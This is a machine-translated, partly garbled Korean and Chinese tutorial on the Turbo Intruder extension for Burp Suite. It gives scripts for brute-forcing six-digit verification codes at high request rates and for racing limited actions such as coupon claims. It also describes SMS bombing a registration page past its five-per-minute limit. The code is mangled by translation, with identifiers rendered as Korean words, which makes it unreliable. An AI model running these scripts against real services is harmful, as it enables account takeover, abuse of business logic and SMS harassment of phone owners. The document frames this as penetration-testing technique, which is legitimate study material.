제목 : Burpsuit 플러그인 터보 침입자 : 속도 제한을 끊는 것에 대한 자세한 설명

一、插件介绍​

Turbointruder는 Burp Suite Extension 플러그인,用于发送大量 HTTP 请求并分析结果,可拥抱十亿请求攻击입니다. 예외 속도, 지속 시간 또는 복잡성이 필요한 공격으로 Burpintruder를 보충하도록 설계되었습니다.

二、插件原理​

첫 번째 요청을 사용하여 연결을 설정하십시오. 후속 리소스 획득은이 연결을 통해 자원의 긴 연결을 얻는 것입니다. 또한 HTTP 파이프 라인 (HTTP Pipelining)을 사용하여 요청을 보냅니다. 이 방법은 이전 요청의 응답을 기다리는 동안 다음 요청을 보냅니다. 전송 프로세스 중에 서버가 이전 요청에 응답 할 때까지 기다릴 필요가 없습니다. 그러나 클라이언트는 여전히 요청이 전송되는 순서대로 응답을 받아야합니다. HTTP 파이프 라인을 통해 요청을 시작하는 것은 짧은 연결 속도의 6000%입니다 (Connection: Close)

三、安装方式​

Burp Suite
1049983-20240322091638266-1772887275.png
에 터보 인트 러더 플러그인 설치

四、使用方式​

패킷을 선택하고 마우스 오른쪽 버튼을 클릭하여 터보 침입자로 보내기를 선택하십시오 (여기서 패킷을 크롤링해야합니다. 크롤링이 없으면 튜브 침입자 메뉴를 표시하지 않습니다).
1049983-20240322091639122-1416561383.png

현재 새 창이 열립니다. 창의 상단은 원래 HTTP 요청 패키지, 하단 부분은 작동 코드이며 중간 부분은 장면에 따라 드롭 다운 상자에서 특정 작업 코드를 선택할 수 있습니다. 열릴 때마다 기본값은 마지막으로 사용 된 마지막 코드이며 지난번에 사용 된 코드입니다.
1049983-20240322091639931-438133108.png

코드 영역은 퍼지가 필요한 부분 대신 "%s"문자를 사용해야합니다. 해당 조작 코드를 선택하고 바닥에서 공격을 클릭하여 공격을 시작하십시오. 특정 사용 세부 사항은 세 번째 부분의 사용 시나리오와 결합 할 수 있습니다.

五、使用场景​

1.验证码爆破​


주로 휴대 전화 확인, 이메일 확인 코드 로그인 및 비밀번호 복구 기능에 나타납니다. 검증 코드 폭발을 위해서는 사용자 이름 열거가 사용자를 인수 할 수있는 능력을 달성해야합니다.
검증 코드 폭발 작업 코드 :
IterTools 가져 오기 제품
def brute_veify_code (대상, 엔진, 길이) :
Pattern='1234567890' #정화 객체 사전을 생성하는 데 사용됩니다
목록에있는 i의 경우 (Product (Pattern, Reter=Length)) : #Product ()는 여러 반복 객체를 수신 한 다음 직교 제품을 생성합니다. 반복 매개 변수는 반복 객체의 수를 나타냅니다.
code=''.join (i)
Engine.queue (Target.Req, 코드)
def queueRequests (대상, 워드리스트) :
엔진=requestEngine (endpoint=target.endpoint, #specify 대상 주소를 지정합니다
동시 공모=30, #make 30 서버와 연결됩니다
requestSperConnection=100, #Send 각 연결에 대해 동시에 100 요청
파이프 라인=true #enable 파이프 라인 (HTTP 파이프 라인) 모드
))
brute_veify_code (대상, 엔진, 6) #확인 코드 숫자에 따라 수정
def handleresponse (Req, 흥미로운) :
req.response:에 'error'가 아닌 경우 #Operate 응답, 테이블에 "오류"를 추가하십시오.
aadd (req)
데모:
Baidu WD 매개 변수가 숫자 6 비트 검증 코드라고 가정하십시오. 매개 변수 값을 "%s"로 바꾸고 위의 코드를 작동 코드 영역으로 복사하십시오.
1049983-20240322091640898-513156876.jpg
공격을 클릭하여 공격을 시작하려면 '%S'가 생성 된 사전 컨텐츠로 대체 된 것을 알 수 있습니다. 29431 요청은 31 초 안에 성공적으로 요청되었으며 RP는 949입니다.
1049983-20240322091641780-1235609231.jpg

2.并发测试​

동시 취약성은 비즈니스 로직 취약점이며 체크인, 복권, 쿠폰 수집 및 기타 기능 지점과 같은 횟수를 제한하는 기능 지점에 존재합니다. 동시성 기술을 사용하여 서버가 여러 번 성공적으로 응답 할 수 있는지 테스트하십시오.
동시 테스트의 작동 코드 :
def queueRequests (대상, 워드리스트) :
엔진=requestEngine (endpoint=target.endpoint,
동시 공모=30,
requestSperConnection=100,
파이프 라인=거짓
))
IN RANGE (30) :의 I의 경우 동시에 연결에 해당 해야하는 30 개의 요청과 각 연결에 대해 하나의 요청을 보내야합니다.
Engine.queue (target.req, target.baseInput, gate='race1') #"게이트"매개 변수는 OpenGate가 호출 될 때까지 각 요청의 마지막 바이트를 차단합니다.
#각 "race1"태그 요청이 준비 될 때까지 #wait, 다음 각 요청의 마지막 바이트를 보내십시오.
Engine.OpEngate ( 'Race1') #동일한 동시 테스트에 속하는 요청을 확인합니다
Engineplete (타임 아웃=60)
def handleresponse (Req, 흥미로운) :
aadd (req)
演示:이 코드는 플러그인 /examples/race.py에서 선택 사항입니다
1049983-20240322091642585-458205074.jpg
동시 테스트에는 원래 요청 패키지의 처리가 필요하지 않으므로 다음 문제가 발생할 수 있습니다.
1049983-20240322091643315-442669725.jpg
도구 실행 프로세스로 인해 원래 요청 패키지에 '%S'필드가 있어야하므로 요청 패키지의 어느 곳에서나 "%S"를 추가해야합니다.
1049983-20240322091644226-1882842261.jpg
1049983-20240322091644975-1755280813.jpg

3.短信轰炸​

확인 코드를 얻기위한 웹 사이트에서 사용자 등록 페이지를 찾았습니다. 침입자는 요청 헤더에 x: %s를 추가하는 것을 기억하십시오 (터보의 %S는 Burp Intruder의 §s§와 유사합니다. 반복 변수가 없지만 터보가 시작될 때 %s가 확인됩니다.
1049983-20240322091642585-458205074.jpg
1049983-20240322091647807-1201234456.jpg
동시에 데이터 패킷을 전송하고, 전송 결과의 대부분의 길이는 328. 328이라는 것을 알 수 있습니다. 328. 플러그인의 성공적인 전송은 1 분 안에 5 개의 SMS 메시지를 전송하는 한도를 우회 할 수 있음을 의미합니다.
1049983-20240322091648484-1597882403.jpg
 
뒤로
상단